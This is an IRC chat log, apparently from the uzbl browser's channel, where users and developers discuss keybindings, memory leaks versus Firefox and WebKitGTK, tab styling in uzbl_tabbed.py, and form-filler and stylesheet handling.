21:14 < jrick> is it possible to give a number to a command like in vim/vimperator, so I can do something like "go back two pages"?
21:17 < Dieterbe> evening ladies
21:18 < Dieterbe> lazzareth> holizz, Have a play while I'm gone. I've really only done minimal testing. Its 1am here and I've got work at 5:30am.
21:18 < Dieterbe> lazzareth: you are crazy ^^
21:18 < Dieterbe> lazzareth: i would be a zombie if i did that
21:19  * DuClare used to work on school assignments 'till 5am and get up at 6:30
21:19 < jrick> 5am? wow, I think the latest I made it to was 4, although my average was 2am-3am
21:19 < DuClare> It doesn't feel that bad after you get used to it.
21:20 < Dieterbe> for my masters thesis i was awake 48hours or so, and maybe a few 1-2am ones for bigger projects, but that's it
21:20 < DuClare> Actually, I spent a year sleeping 3-4 hours per night. :x
21:20 < DuClare> Then I got sick of it and switched to another school.
21:21 < Dieterbe> jrick> is it possible to give a number to a command like in vim/vimperator, so I can do something like "go back two pages"? <-- no. we discussed that but we concluded it wouldn't be worth it
21:21 < jrick> :(
21:21 < Dieterbe> DuClare: oh, so you mean you really needed all that time for school assignments?
21:21 < DuClare> Dieterbe: Usually not
21:21 < DuClare> But I've got other problems
21:22 < DuClare> Insomnia
21:22 < Dieterbe> hmm i see
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21:25 < DuClare> Dieterbe: Actually, I've been neglecting school assignments since I realized I'm not getting anything at all in return for working until perfection :|
21:26 < uranther> jrick, can't you just chain the commands together?
21:26 < jrick> uranther: I was thinking that, but I'm not sure exactly how
21:26 < Dieterbe> DuClare: yeah, i've maintained the habit of working "just enough" :)
21:26 < uranther> jrick, perhaps something like, bind 2b = chain back back
21:27 < uranther> i dunno if i have the syntax right though :P i don't mess around much with the config
21:27 < jrick> uranther: well, I would like to something that would work for any number, and then have it iterate over that command that many times
21:27 < uranther> yeah i see what you mean
21:28 < jrick> I guess this is where I start complaining about flat configuration files :P
21:28 < Dieterbe> the question is: do you really need that?
21:28 < jrick> it IS nice
21:28 < Dieterbe> i've never ever needed to do any operation more then once after each other. not even going back/forward
21:29 < uranther> eh just b twice
21:29 < uranther> heh
21:29 < Dieterbe> and if i ever need to do it, i won't mind typing 'bb'
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21:33 < pipping> uranther: re
21:34 < uranther> pipping, ? did it work
21:34 < pipping> uranther: the signature of your parse_command and mine are different
21:34 < pipping> uranther: mine is parse_command(const char *, const char *)
21:34 < jrick> I wonder if I can do this with javascript...
21:34 < pipping> uranther: yours takes a third argument
21:34 < uranther> oh
21:35 < uranther> pipping, like this? http://gist.github.com/137734
21:35 < pipping> what i also find weird is that `git apply path-to-your-patch` tells me
21:35 < pipping> fatal: corrupt patch at line 12
21:35 < pipping> which is the last line
21:37 < pipping> did anything change in b48ea5 of that gist?
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21:38 < peter_> hey
21:38 < pipping> uranther: http://dpaste.com/61273
21:38 < peter_> So I am trying to do the middle click - new window thing
21:38 < peter_> and I installed uxvt or whatever it is called
21:38 < peter_> and nothing has really changed
21:39 < peter_> I mean I did the script and everything
21:39 < pipping> uranther: the good news is that that change appears to work ;)
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21:41 < uranther> hah ok good. yeah sorry I hastily made the patch. Here's the patch from cloning the master tree http://gist.github.com/137734
21:42 < dxdx> peter_: how is middle click related to urxvsdfsdt?
21:42 < pipping> uranther: looks good
21:42 < uranther> phew! lol
21:44 < jrick> _ and * have no way of distinguishing between letters and numbers, right?
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22:03 < github> uzbl: Dieter Plaetinck experimental SHA1-416c930
22:03 < github> point users to existing uzbl_tabbed.py
22:03 < github> http://bit.ly/1awHXR
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22:10 < Dieterbe> good night boys and girls
22:11 < uranther> gnite
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22:30 < N30N> README says: `bind /*  = search %s` — a search command which is called on every character typed after the slash. But the cmd is called when the / is press (this fixed in experimental?).
22:32 < DuClare> I don't think so
22:34 < jrick> is there a way yet to select text in a webpage, like visual mode in vim?
22:35 < DuClare> No
22:35 < N30N> jrick: it could be done via JavaScript
22:35 < jrick> ok, I'll take a stab at it then
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22:53 < misha> hello, is there any particular purpose for docs not being 80 columns formated?
22:54 < uranther> it might because of the Markdown syntax, not sure
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23:18 < N30N_> jrick: I gotta pretty crappy vim repeat that'll work on single bind key's
23:18 < N30N_> bind 2* = sh 'key="%s"; [ "$key" != "" ] && (uzblctrl -s ${5} -c "keycmd_bs"; uzblctrl -s ${5} -c "keycmd_bs"; count=2; while [ $[--count] -ge 0 ]; do; uzblctrl -s ${5} -c "keycmd $key"; done;)'
23:18 < jrick> ah, ok. cool!
23:19 < N30N_> neh, it's pretty crap lol
23:19 < jrick> I haven't looked at uzblctrl yet, that may be worth learning
23:20 < N30N_> It would be shorter if I had used fifo
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23:24 < jrick> I just think this would be a lot easier if uzbl didn't have a flat configuration file.
23:26 < uranther> what do you suggest?
23:26 < jrick> being able to configure it with a language, like how I can write haskell code right in my xmonad configuration
23:27 < jrick> I could just hack the source, though
23:27 < joyfulgirl> jrick: Well, you can easily write a quick script and run that from the config
23:28 < jrick> yes, but I would need something like _ but that only works with numbers
23:28 < uranther> jrick, you should be able to write a wrapper for uzblctrl or working with the fifo to do that
23:28 < uranther> that's the advantage of having a flat config file
23:29 < scj> I'd like to request a unbind and unset command
23:30 < uranther> you can "set something =" though
23:32 < jrick> ideally, I'd like something like (the # isn't a comment): set #_ = a loop which runs the _ command # times
23:33 < uranther> what command do you want to apply that to?
23:33 < jrick> so, if I do 20b, 20 will be #, and b will be _
23:33 < jrick> I guess this would be pattern matching
23:33 < uranther> that seems like a very inaccurate way to traverse your browser history
23:33 < jrick> yes, but I'm just giving an example
23:34 < bct> what other commands would you use it for? i never used that much in vimperator.
23:34 < scj> iy'd mainly used for back, really
23:34 < scj> it's*
23:34 < jrick> bct: something like g2u to go two directories up (although this way, I'd have to be 2gu)
23:34 < bct> i do things like 2gt a lot, but that doesn't apply here
23:38 < bct> mmm, that would be nice.
23:39 < bct> you could do gu2
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00:07 < xci> haven't been following the process lately, what is the current idea/implementation of multiple webpages?
00:08 < scj> uzbl_tabbed
00:09 < N30N_> or pick a WM that works well :)
00:09 < DuClare> As before, you run multiple instances.  For tabbing you can use a WM or some script .. :]
00:09 < DuClare> GNU Emacs NEWS -- history of user-visible changes.
00:09 < DuClare> Copyright (C) 2007, 2008, 2009 Free Software Foundation, Inc.
00:09 < DuClare> See the end of the file for license conditions.
00:09 < DuClare> Please send Emacs bug reports to emacs-pretest-bug@gnu.org.
00:09 < DuClare> If possible, use M-x report-emacs-bug.
00:09 < DuClare> This file is about changes in Emacs version 23.
00:09 < DuClare> See files NEWS.22, NEWS.21, NEWS.20, NEWS.19, NEWS.18, and NEWS.1-17
00:09 < DuClare> for changes in older Emacs versions.
00:09 < DuClare> Erm..
00:09 < DuClare> http://www.uzbl.org/wiki/uzbl_tabbed
00:10 < N30N_> DuClare: your irc client doesn't ask you about multiline pastes?
00:11 < DuClare> Umm, well, normally I would get to edit the lines before they get sent. :|
00:11 < DuClare> I'm not sure what went wrong.
00:12 < DuClare> And yes, this client asks for some cleanup & polishing.
00:13 < DuClare> Only if I had more time in my hands..
00:13 < N30N_> irssi wtf!
00:13 < N30N_> ftw even
00:13 < DuClare> No thanks. :)
00:14 < N30N_> xD
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00:15 < Deepspawn> /whois DuClare
00:15 < Deepspawn> bu
00:16 < N30N_> #emacs boo! :p
00:16 < DuClare> Yeah, as if my blunder-paste wasn't emacsy enough :x
00:20 < DuClare> The cool thing about this client is that I can code protection against things like that .. on the fly. :]
00:21 < bct> the only *true* IRC client for unix-types is ii.
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00:28 < jrick> weechat
00:32 < joyfulgirl> bct: Too true, too true.
00:33 < joyfulgirl> bct: I'm sure somebody out there has ii piped to dzen and ed redirected straight into a fifo.
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00:57 < bob_f> joyfulgirl: I have a script.
00:57 < bob_f> How do I make its stdout be in my modeline ?
00:58 < joyfulgirl> Your guess is as good as mine \-:
00:58 < joyfulgirl> The feature I really want right now is external textbox editing, but I think that'll require some js
00:59 < bob_f> What.
00:59 < bob_f> Argh.
01:00 < joyfulgirl> If you can set a variable to the output of a command...
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01:10 < bob_f> joyfulgirl: Why are you ignoring me ? :(
01:11 < joyfulgirl> I'm not!
01:11 < joyfulgirl> I said your guess is as good as mine \-:
01:11 < bob_f> joyfulgirl: Yes, and then I realised I was in the wrong channel and messaged you in the right channel instead.
01:14 < joyfulgirl> aha
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03:28 < g111> hi, could any body scroll to the end of a page using "scroll vert 20" when you hit the bottom continue a couple of times and then try to "scroll vert -20"
03:28 < g111> according to gtk's documentation this shouldt happen (gtk_adjustment_set_value)
03:29 < g111> s/scroll vert/scroll_vert/g
03:29 < cdwillis> i never noticed that before
03:30 < cdwillis> i've just been scrolling to the bottom of the page with >>
03:32 < g111> i tried to fix it but according to GtkAdjustment http://developer.gimp.org/api/2.0/gtk/GtkAdjustment.html that should not be happening
03:34 < dxdx> g111: someone mentioned that bug before
03:34 < dxdx> i could never reproduce it myself
03:34 < dxdx> which webkitgtk version?
03:35 < dxdx> (i think i've seen that in changelogs too)
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03:36 < g111> think i
03:36 < g111> i think it is 1.1.10
03:36 < g111> according to pacman
03:38 < g111> dxdx: i'm using the main branch
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04:32 < Tel_Janin> what's the proper way to set up a socket in the config file?
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04:36 < cdwillis> i just noticed when i press the alt key the background color of the status bar changes color
04:38 < cdwillis> it's also happening when i run the mouse pointer over different links on the page
04:39 < dxdx> Tel_Janin: what do you mean? you don't set the socket in the config file, you set the socket dir and it is created automatically
04:39 < dxdx> cdwillis: wat
04:41 < cdwillis> set status_background is being ignored
04:41 < cdwillis> and random colors are popping up
04:42 < cdwillis> it might be something i did in the config file
04:45 < g111> silly question, why can't i see the experimetal branch with git branch?
04:47 < Deepspawn> -r
04:50 < g111> Deepspawn: thanks, but will read the github gides
04:51 < Deepspawn> heh k
04:56 < N30N_> g111: that scrolling bug has been fixed in the experimental branch
05:07 < g111> N30N_: yes, i could see that just few seconds ago
05:08 < g111> N30N_: just after i could switch to the experimental branch (realy didn't know how to use git, nor know much now)
05:42 < cdwillis> http://omploader.org/vMXdnYQ
05:42 < cdwillis> made a screen cast of the weird gtk color stuff
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09:03 < aSuKar> hello
09:04 < aSuKar> (to continue from where i stopped yesterday), i did: mkdir -p $HOME/.config/uzbl and did put export XDG_DATA_HOME=/usr/share/uzbl/examples/data and export XDG_CONFIG_HOME=/usr/share/uzbl/examples/config in my .bashrc
09:05 < aSuKar> but as far as i know i doesnt work yet
09:07 < Ralith> okay, uzbl seems to have some serious memory leaks
09:07 < Ralith> I've had an instance running for a couple days and it's up to 130MB
09:11 < dxdx> Ralith: and what page is running there?
09:12 < Ralith> what's that matter? It's not as if I'm looking at a massive image or something.
09:17 < dxdx> Ralith: javascript can leak memory too
09:18 < Ralith> for one, isn't javascript garbage collected?
09:18 < Ralith> also, it's a hell of a broken interpreter if it lets javascript hang around after the page is long gone.
09:19 < Ralith> I haven't exactly been leaving the instance idle; I've been using it.
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09:34 < aSuKar> hmm F (linkighlighting isnt working with gmail at all?
09:37 < Dieterbe>  misha> hello, is there any particular purpose for docs not being 80 columns formated? <-- the only reason is my ignorance
09:38 < dxdx> Dieterbe: wat
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09:39 < holizz> Why yes, I did do some programming on the train. I don't know why I'm so amused by that fact.
09:39 < dxdx> Dieterbe: so markdown doesn't add linebreaks automatically on \n?
09:39 < dxdx> holizz: nobody knows, really
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09:39 < cdwillis> what is the kill command for the web inspector?
09:41 < dxdx> key({ modkey, "Shift" }, "c", function (c) c:kill() end),
09:41 < dxdx> from my .config/awesome/rc.lua
09:41 < holizz> P.S. made some fixes for opening new windows from target=_blank links in my experimental branch. You can now do it with the keyboard (wow!).
09:42 < dxdx> holizz: awesome
09:42 < Ralith> how bout some memory leak fixes :>
09:42 < Dieterbe> dxdx: no idea, never paid attention to that
09:43 < Dieterbe> holizz: i read your mail, but didn't check your code yet
09:43 < dxdx> Ralith: sure, we'll just do webkitwebview_set_enable_leaks(FALSE);
09:43 < Ralith> that sounds convenient.
09:43 < Ralith> some real fixes might be in order too, though.
09:47 < Ralith> dxdx: are you trying to say that the leaks are all webkit's fault, or something?
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09:48 < dxdx> Ralith: yeah, and it seems that you've never seen the uzbl source code
09:49 < Ralith> that's correct.  Should I have?
09:49  * dxdx hasn't slept and doesn't plan to do so today, btw
09:49 < Ralith> whatever the nature of the code, it's dribbling unreferenced bytes all over--either that or doing a lot more heavy lifting than the compiletime and features set would suggest.
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09:49 < Dieterbe> dxdx:heh you're also crazy. what's up with all these 'no sleep' people lately
09:50 < Ralith> okay, that explains the passive-aggressiveness.
09:50 < cdwillis> check this out: http://omploader.org/vMXdnYQ
09:50 < cdwillis> is that happening to anyone else?
09:50 < Dieterbe> cdwillis: i'm at work now. i'll check this during lunch break or tonight or so
09:50 < cdwillis> ok cool
09:51 < cdwillis> i noticed this started happening after i was modifying the config, but i'm not sure what might be causing it yet
09:51 < Ralith> dxdx: anyway, if you're actually trying to blame it all on webkit, that doesn't seem very solid; ignoring the massive wide use of webkit, I'm running another webkit browser in parallel and have been on many more pages for much longer, and it's got just about constant memory usage.
09:51 < dxdx> Ralith: well, there isn't a single malloc() in uzbl
09:51  * Ralith shrugs
09:51 < Ralith> memory leaks can be subtle
09:51 < Ralith> all I know is it's using far more RAM than it should.
09:52 < Ralith> so what's it use to parse its config file?
09:53 < dxdx> glib GScanner or something like that
09:54 < dxdx> ok, now seriously, there are a few g_string_new and g_something_new but they are free()d in the same function, and uranther has been hacking with valgrind for a few days and he could free only 17 bytes
09:55 < Ralith> well, then I agree that this is pretty weird.
09:55 < Ralith> the memory usage is still there, though.
09:55 < dxdx> Ralith: have you tried with midori?
09:55 < Ralith> I've been running arora
09:55 < Ralith> that's probably close enoug
09:55 < Ralith> h
09:55 < Dieterbe> dxdx> Ralith: well, there isn't a single malloc() in uzbl <-- we use plenty of glib, which does mem allocations for us, which we need to free
09:55 < Dieterbe> afaik we do, but .. just saying..
09:56 < Ralith> dxdx: what I've been doing with the instance is reading through a webcomic's archives; perhaps there's some issue with image caches not being cleared?
09:56 < dxdx> Dieterbe: yeah, i knew that was a partial truth when i said so :P
09:57 < Dieterbe> it's like having a script that does a fork bomb, calling that script and then saying "impossible, we only do 1 fork !"
09:57 < dxdx> Ralith: oh, i've seen in their bugzilla that there's a pretty poor cache control in the gtk port
09:57 < dxdx> Dieterbe: lol
09:57 < Ralith> so it probably *is* webkit's fault?
09:58 < Ralith> I can't begin to understand how cache control could be related to GUI toolkit...
09:58 < dxdx> webkitgtk uses libsoup (a gnome lib) for networking, for example
09:58 < Dieterbe> afaik webkit gtk is not just webkit with the gtk gui. afaik it's a complete port which uses glib, libsoup etc
09:59 < Ralith> is it possible to use webkit without all these messy dependencies :|
09:59 < Ralith> they seem kind of contrary to the goals of uzbl
09:59 < scj> if webkitgtk is to blame, midori should suffer the same memory leaks, no?
09:59 < Ralith> probably true
09:59 < Ralith> I'll grab that and play with it
09:59 < Dieterbe> that seems right scj 
09:59 < Phillemann> Like I said yesterday, try midori :P
09:59 < Ralith> it'll be better than arora, anyway; arora is unstable and buggy.
09:59 < Ralith> Phillemann: you provided no useful reason to do so :P
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10:00 < Phillemann> Ralith: midori _also_ is unstable and buggy. ;)
10:00 < Ralith> damn.
10:00 < Ralith> you guys are making me want to start up firefox again :|
10:00 < Ralith> why does it seem like apple are the only people who can get webkit to run properly
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10:01 < Phillemann> Ralith: Well, I don't know about konqueror
10:01 < Phillemann> Or...epiphany (?)
10:01 < Ralith> konqueror uses khtml, doesn't it?
10:01 < Ralith> and I'm not sure what epiphany uses but it's been around longer than webkit
10:01 < Phillemann> I thought the KDE team decided to switch to webkit. o_O
10:01 < Ralith> doesn't mean knoqueror's been changed over
10:02 < dxdx> epiphany used gecko, but there's a webkit branch (which sucks)
10:02 < Ralith> chrome uses webkit, doesn' tit?
10:02 < Phillemann> Ah yes. Don't know about its Linux port, though
10:02 < haste> it does
10:02 < haste> on all OSs
10:02 < Ralith> seems like you need a corporate budget to make the code behave.
10:03 < Dieterbe> Btw, gecko in sounds (in Dutch) like crazy-o, and i agree with that. if you base your browser on gecko, you're crazy
10:03 < Phillemann> haste: Yes, but I don't know how buggy and unstable chrome is on Linux ;)
10:03 < haste> remember that both Apple and Google don't use the GTK port of webkit
10:03 < haste> they use their own
10:03 < Ralith> yeah
10:03 < Ralith> perhaps it would be be appropriate to do the same in uzbl
10:03 < haste> Phillemann: it's suppose to be quite usable right now
10:03 < Ralith> it would certainly cut down on dependencies.
10:04 < haste> but also increase complexity quite a lot
10:04 < Dieterbe> Ralith: patch welcome
10:04 < Ralith> haste: yeah, it's certainly nontrivial.
10:04 < Ralith> but gtk's a nontrivial dependency for something whose selling point is that it's lightweight.
10:04 < haste> you would have to write you own interface to webkit, and that will most likely be quite time taking
10:04 < dxdx> offtopic: http://www.animetv.ws/images/Anime-TV-Midori-No-Hibi.jpg
10:04 < Ralith> uzbl is the sort of thing I'd try to install on a barebones system and be really angry when it pulled in gtk
10:05 < haste> dxdx: how's that suprising to find when you search for midori?
10:05 < haste> you could always use the android port of webkit
10:05 < Phillemann> Ralith: Well, you could pull in Qt instead. Is there any other alternative? Webkit needs widget support.
10:05 < Dieterbe> Ralith: "lightweight" selling point? who ever said that? uzbl's is all about implementing the unix philosophy. that doesn't necessarily mean lightweight
10:06 < Ralith> Phillemann: a custom solution, presumably.  It'd be hard, but not impossible.
10:06 < Ralith> Dieterbe: it kind of does.
10:06 < dxdx> haste: not surprising, rather awesome to find _that_ thanks to a browser
10:06 < Ralith> unless a task inherently requires heavyweight code, which this doesn't to that extent.
10:06 < Dieterbe> besides, lightweight is one of those things that can mean many things for anyone. compared to FF uzbl is lightweight, compared to surf/lynx uzbl is bloatware
10:06 < Ralith> no
10:06 < haste> dxdx: midori is quite new and unknown still, and anime isn't
10:06 < Ralith> compared to FF uzbl is very heavy
10:07 < Ralith> we went over this yesterday; FF can consistently beat uzbl on memory usage for anything but the most trivial cases.
10:07 < Dieterbe> Ralith: heavy on what? sloc? execution time? memory usage?
10:08 < cdwillis> opening 10 instances of uzbl at the reddit front page compared to 10 tabs of the same in firefox, uzbl was using 40MB more ram
10:08 < Dieterbe> sure
10:08 < Dieterbe> i for one think sloc is a much better indicator then memory usage for bloatyness
10:08 < dxdx> haste: but actually in google it appears in the second result (twotoasts.de), along with a bunch of unrelated stuff, mostly software
10:08 < Phillemann> What's sloc?
10:08 < cdwillis> but just one instance of uzbl vs firefox3, same page loaded uzbl used 17mb less ram than ff
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10:09 < haste> dxdx: I don't see any other software on my midori search
10:09 < Dieterbe> Phillemann: single lines of code
10:09 < haste> dxdx: it is the second hit tho'
10:09 < haste> dxdx: then again, it's based on your previous searches and location anyway
10:09 < Ralith> Dieterbe: okay, so long as you're fair and count all libraries pulled in as well.
10:09 < Phillemann> Dieterbe: What? Lines of code are an indicator for bloat? lol
10:09 < dxdx> haste: midori operating system, midorijs, midoritech
10:10 < haste> dxdx: don't see any of those here actually :P
10:10 < Dieterbe> Ralith: nope. because uzbl devs are not the ones who have to maintain those dependencies. so their cost is much much lower per sloc.
10:10 < dxdx> http://dotnetperls.com/chrome-memory
10:10 < Ralith> Dieterbe: we're discussing resource usage, not developer time usage.
10:10 < Ralith> please stay on topic.
10:11 < Ralith> if I wanted a web browser which was minimal effort for the developers to maintain, I'd be using netcat.
10:11 < Dieterbe> Ralith: no, we were discussing "lightweight" vs "bloat". i just said those terms can mean a variety of things and i said what it means to me
10:11 < Ralith> no, you're deliberately making it difficult to meaningfully discuss uzbl's flaws.
10:11 < Dieterbe> what? of course not
10:12 < dxdx> i needed that link yesterday. tl;dr: one process per page sucks a lot of memory, and is a lazy way to combat memory leaks (you close the process, they are gone). also firefox 3.5, like it or not, is awesome at memory usage, and opera/safari do leak memory
10:12 < Ralith> well, you know about the problem one way or another, and it's up to you if you want to ignore it.
10:13  * Ralith gets some rest.
10:13 < haste> firefox 3.5 got a bunch of really nice improvements
10:13 < Ralith> dxdx: safari leaks? Interesting.
10:13 < Dieterbe> Ralith: stop putting words in my mouth. i'm not ignoring anything or deliberately preventing discussions or whatnot.
10:13 < Phillemann> dxdx: As I said yesterday, they're not neccessarily gone after you kill the process. :)
10:13 < haste> especially when it comes to memory usage
10:13 < dxdx> Phillemann: what? did i miss something?
10:14 < Phillemann> dxdx: firefox leaks X handles, which are released only after you kill the X server.
10:14 < Ralith> I guess I'll stick with firefox then, since I tend to keep too many pages open in parallel; shame, I love uzbl's UI.
10:14 < Phillemann> This _might_ be fixed in 3.5, I don't know about that.
10:14 < Ralith> I'll be keeping an eye on the project, though.
10:14 < haste> Ralith: you can emulate it with vimperator and so on
10:14 < Ralith> haste: yeah, and I may, but those don't take quite as enjoyably purist an approach.
10:14 < dxdx> we could fork uzbl and use gecko (?)
10:15 < Ralith> I suspect that might be even messier.
10:15 < Ralith> at least, I hear webkit easily beats out gecko wrt. being a good library
10:15 < Ralith> presumably they'll fix the leaks eventually.
10:16 < haste> most likely, but you have to remember that mozilla is able to throw a lot of devs at issues such as memory usage
10:16 < haste> unlike GTK which was frozen for quite some time on the webkit front-end
10:17 < Dieterbe> imho gecko/uzblrunner is flawed by design: it overcomplicates a lot of things unneccesarily
10:17 < Dieterbe> eurm i meant xulrunner ^^
10:18 < haste> almost the same!
10:18 < dxdx> Dieterbe: i meant gtkmozembed [but the api sucks]
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11:07 < holizz> There's an open space relating to WebKit and the DOM here. :D
11:08 < Dieterbe> how do you mean?
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12:35 < scj> http://research.microsoft.com/en-us/news/features/gazelle-062909.aspx
12:37 < scj> kind of interesting, but I'm a bit hesitant about turning browsers into an os
12:38  * mxey is not a fan of web apps at all
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12:40 < lazzareth> "<Ralith> I've had an instance running for a couple days and it's up to 130MB"
12:41 < lazzareth> I've just come home to a 114mb uzbl instance and two 88mb instances.
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12:41 < lazzareth> (lol whoops)
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12:55 < lazzareth> Dieterbe, holizz: Any issues with uzbl_tabbed.py while I was gone?
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12:57 < lazzareth> I'm thinking on colourising tabs that use https by adding in some menu options to change the colour of https tabs now that I can reliably (and quickly) get the uri's of uzbl instances.
12:58 < lazzareth> And a flag to pack the tablist at the bottom of the screen (under the status bar).
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13:30 < Dieterbe> lazzareth: i didn't test it myself
13:30 < Dieterbe> ..yet
13:31 < Dieterbe> lazzareth> I'm thinking on colourising tabs that use https by adding in some menu options to change the colour of https tabs now that I can reliably (and quickly) get the uri's of uzbl instances <-- doesn't seem very flexible
13:31 < Dieterbe> maybe users want to do custom coloring etc in other ways
13:31 < mxey> btw, HTTPS - I think there is still no warning about invalid certificates and stuff?
13:31 < mxey> yeah
13:32 < mxey> That is why I still use FF for sites where that matters ;)
13:34 < lazzareth> Dieterbe, I would be very easy to add custom colouring policies into the python code itself but I dont see how I can read the rules from the config file easily.
13:34 < lazzareth> 'it
13:36 < lazzareth> All I was going to do was url.startswith("https://") -> set style to https_tab_colours
13:37 < Dieterbe> mxey: that's correct
13:38 < Dieterbe> lazzareth: hmm you have a good point.  you could let uzbl_tabbed use a "config file" which is nothing more then a python script
13:38 < Dieterbe> in that python script, users can change what they want
13:40 < lazzareth> Dieterbe, Very easy to do but I'm reluctant about splitting uzbl_tabbed.py into different files.
13:40 < scj> so has anyone tried the new formfiller.sh?
13:40 < Dieterbe> lazzareth: that's your call
13:40 < lazzareth> I might just write the the function that selects the colour in the configuration section at the top of uzbl_tabbed.py
13:40 < Dieterbe> scj: oh sorry, i shall put it on my todo to try it
13:41 < Dieterbe> scj: it's about the curl->use dom from webkit transition, right?
13:41 < scj> yeah
13:42 < scj> the forms are spat out as a list of js objects
13:44 < Dieterbe> lazzareth: sounds good
13:46 < lazzareth> Can you add images to label markups?
13:46 < lazzareth> Like favicons for example?
13:46 < Dieterbe> dunno
13:47 < lazzareth> I might look into it down the road.
13:59 < scj> hmm, using the domain name to keep the form info doesn't work that well with uzbl.org/bugs and uzbl.org/wiki
14:00 < Dieterbe> indeed
14:02 < Dieterbe> scj: maybe, upon editing the field values, we should allow the user to edit the "uri matcher", so a user could first have a file for uzbl.org, but when this doesn't work on uzbl.org/bugs, user does the keybind to edit his setting, and he changes the uri matcher to uzbl.org$ (and it would be uzbl.org by default)
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14:07 < scj> Dieterbe: yeah, that's one way, although I would personally prefer to map the logic on the filesystem
14:08 < scj> I'm gonna think about it
14:08 < Dieterbe> yeah, too bad '/' is not a valid character for filenames :)
14:08 < Dieterbe> and probably some more fancy characters in url's could be invalid/lead to complications when we want to use them in file names
14:09 < Dieterbe> otoh maybe those are just details/minor things that could be fixed later
14:11 < scj> could just replace / with _ in the filename and fetch the file with the longest matching name
14:12 < Dieterbe> hmm that's a good idea actually
14:13 < Dieterbe> and just hope there are no sites that have example.com/forums/forumfoo and also example.com/forums_forumfoo as different fora with different fora
14:13 < Dieterbe> very unlikely, i know :)
14:13 < Dieterbe> with different login forms*
14:13 < scj> that's an edge case I'm willing to live with
14:13 < Dieterbe> me too. definitely
14:15 < Dieterbe> seems like an easy and pretty solid approach
14:16 < scj> I'll fix it later today
14:16 < Dieterbe> cool
14:30 < lazzareth> Is there a reliable way to get the max visible width of a gtk label?
14:30 < Dieterbe> lazzareth: you can always look around a bit in the midori source code
14:30 < Dieterbe> to see how they do tabs and such
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14:32 < lazzareth> Dieterbe, I was just trying to figure out how many characters I have to work with in tab titles (for the tablist) not gtk tab label max widths.
14:33 < lazzareth> Short of: window width % font size
14:33 < lazzareth> (where % = modulo)
14:33 < lazzareth> Because that changes with DPI (does it not?)
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14:41 < scj> lazzareth: doens't the tabs take care of string truncating?
14:41 < lazzareth> scj, Those aren't gtk tabs its just a pango formatted gtk label :P
14:42 < lazzareth> (Though you can turn on gtk tabs)
14:42 < scj> aah
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14:42 < lazzareth> So I have to write my own ellipsize function for my tab titles
14:43 < Dieterbe> lazzareth: wouldn't it be possible to use gtk tabs but hide it visually so it looks like what you currently do? maybe you can remove tab borders, shadows and whatever
14:44 < Dieterbe> then it looks like what you have now, with the advantage string truncating etc works, and they would be even clickable
14:45 < lazzareth> Dieterbe, Maybe. I was having a look at http://www.pygtk.org/pygtk2reference/class-gtknotebook.html#method-gtknotebook--set-tab-label earlier which is probably the solution.
14:45 < lazzareth> But I don't think that will give me the level control I want/need.
14:47 < lazzareth> I.e. I dont want a tab title to ellipsize like "[ 4 Google image sear...". I need it to ellipsize it like "[4 Google image sear... ]"
14:48 < Dieterbe> lazzareth: i see. maybe it's customizable
14:48 < lazzareth> Dieterbe, Its a long shot
14:49 < Dieterbe> even for the clickabality alone, using real tabs would be pretty useful.
14:49 < lazzareth> I'm better off writing it myself however finding the max char width at monospace size 10 is the only challenging part.
14:50 < Dieterbe> lazzareth: btw do you need [ item 1 ] [ item 2 ] ? maybe you can do something like item 1 | item 2 where '|' has a different color
14:50 < Dieterbe> don't know how you can customize the look of labels. probably gtk theme dependent, but you may be able to override it
14:50 < lazzareth> Dieterbe, If you need to jump to a tab really fast just type "gi{tab-number}" I.e. "gi5"
14:50 < Dieterbe> yeah sure
14:51 < lazzareth> Dieterbe, Yeah I'm thinking of moving the tab_format into the config dict also
14:51 < Dieterbe> what we're discussing is unrelated to that
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14:54 < scj> you should probably look into using set_tab_label with a subclassed gtk.label that takes care of the formatting
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14:54 < bct> scj, filename collisions would be even less likely if you use a character like '=' instead of '_'
14:55 < bct> and of course you could md5 the original url and append that to the filename
14:55 < scj> I'm not that worried about collisions with / -> _
14:56 < scj> but I guess / -> | would work. = would just look weird
14:57 < bct> i guess the only time a collision would matter is if both pages had forms with the same input names
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16:36 < Dieterbe> does anyone have a good irc bot?
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16:40 < uranther> Dieterbe, i made one in C a while back but it's not very extensible
16:40 < uranther> been meaning to remake it with GModule
16:40 < uranther> I would suggest an eggdrop..
16:45 < lazzareth> Dieterbe, http://oreilly.com/pub/h/1968 :P
16:46 < uranther> :/ there's a lot of variability among irc servers which makes IRC bots harder to make
16:47 < uranther> even among freenode.. some might need identd or not, etc..
16:48 < lazzareth> I've pushed a new version of uzbl_tabbed with a customisable tablist styling policy handler in the configuration section http://gist.github.com/137497 (In the example included by default https:// connections are styled gold in the tablist)
16:50 < lazzareth> But I could just have easily said: if length( page title ) is equal to 15 characters => colour blue. (I dont know why you would want to but its now possible :P)
16:50 < uranther> you're just tearin it up lazzareth
16:51 < lazzareth> :)
16:54 < lazzareth> Next is the title ellipsizer :)
16:54 < lazzareth> But I think I'll leave that for tomorrow
16:54 < uranther> eh what does that take like 10 seconds
16:55 < lazzareth> No .. like .. 20 seconds.
16:58 < And1> Is there a way to tell uzbl which font to use for alle websites?
17:01 < scj> I kinda like using dtach + irssi for irc bottin
17:05 < N30N> And1: you could do it with stylesheet_uri
17:06 < lazzareth> Personally I prefer my internet in monospace.
17:06 < N30N> xD
17:06 < scj> although, it seems like stylesheet_uri doesn't have precedence over the site style
17:06 < lazzareth> Need a stylesheet_after :)
17:07 < N30N> scj: you just need to make the rule more explicit and !important
17:08 < lazzareth> You could do it in javascript using the load_finish_handler
17:08 < scj> N30N: !important doesn't work
17:09 < N30N> scj: oh?
17:09 < scj> linkfollow.js relies on the styles being set via stylesheet_uri, but the hints look weird on youtube
17:09 < scj> and some other sites
17:13 < bct> examples/data/style.css doesn't have !important in it anywhere
17:13 < uranther> :%s/;/ !important;/
17:13 < uranther> :o
17:13 < scj> I know. but it doesn't matter
17:14 < Dieterbe> lol @ "customisable tablist styling policy handler".  friend: what did you today? you: well, i wrote a customisable tablist styling policy handler
17:14 < And1> What's an example for "MSG"s?
17:15 < uranther> recv, done
17:15 < Dieterbe> uranther / lazzareth re: irc bot. i just want something that works (on freenode) and that shows channel statistics, quotes,.. you know the usual stuff. without too much work from my end :)
17:15 < lazzareth> Dieterbe, Well its straight to the point :P
17:15 < scj> oh. guess that !important works if you put them afterwards instead of before :v
17:16 < uranther> Dieterbe, from what I understand, the eggdrops are just plug n go.. installing the modules as you need
17:16 < bct> heh, that might help
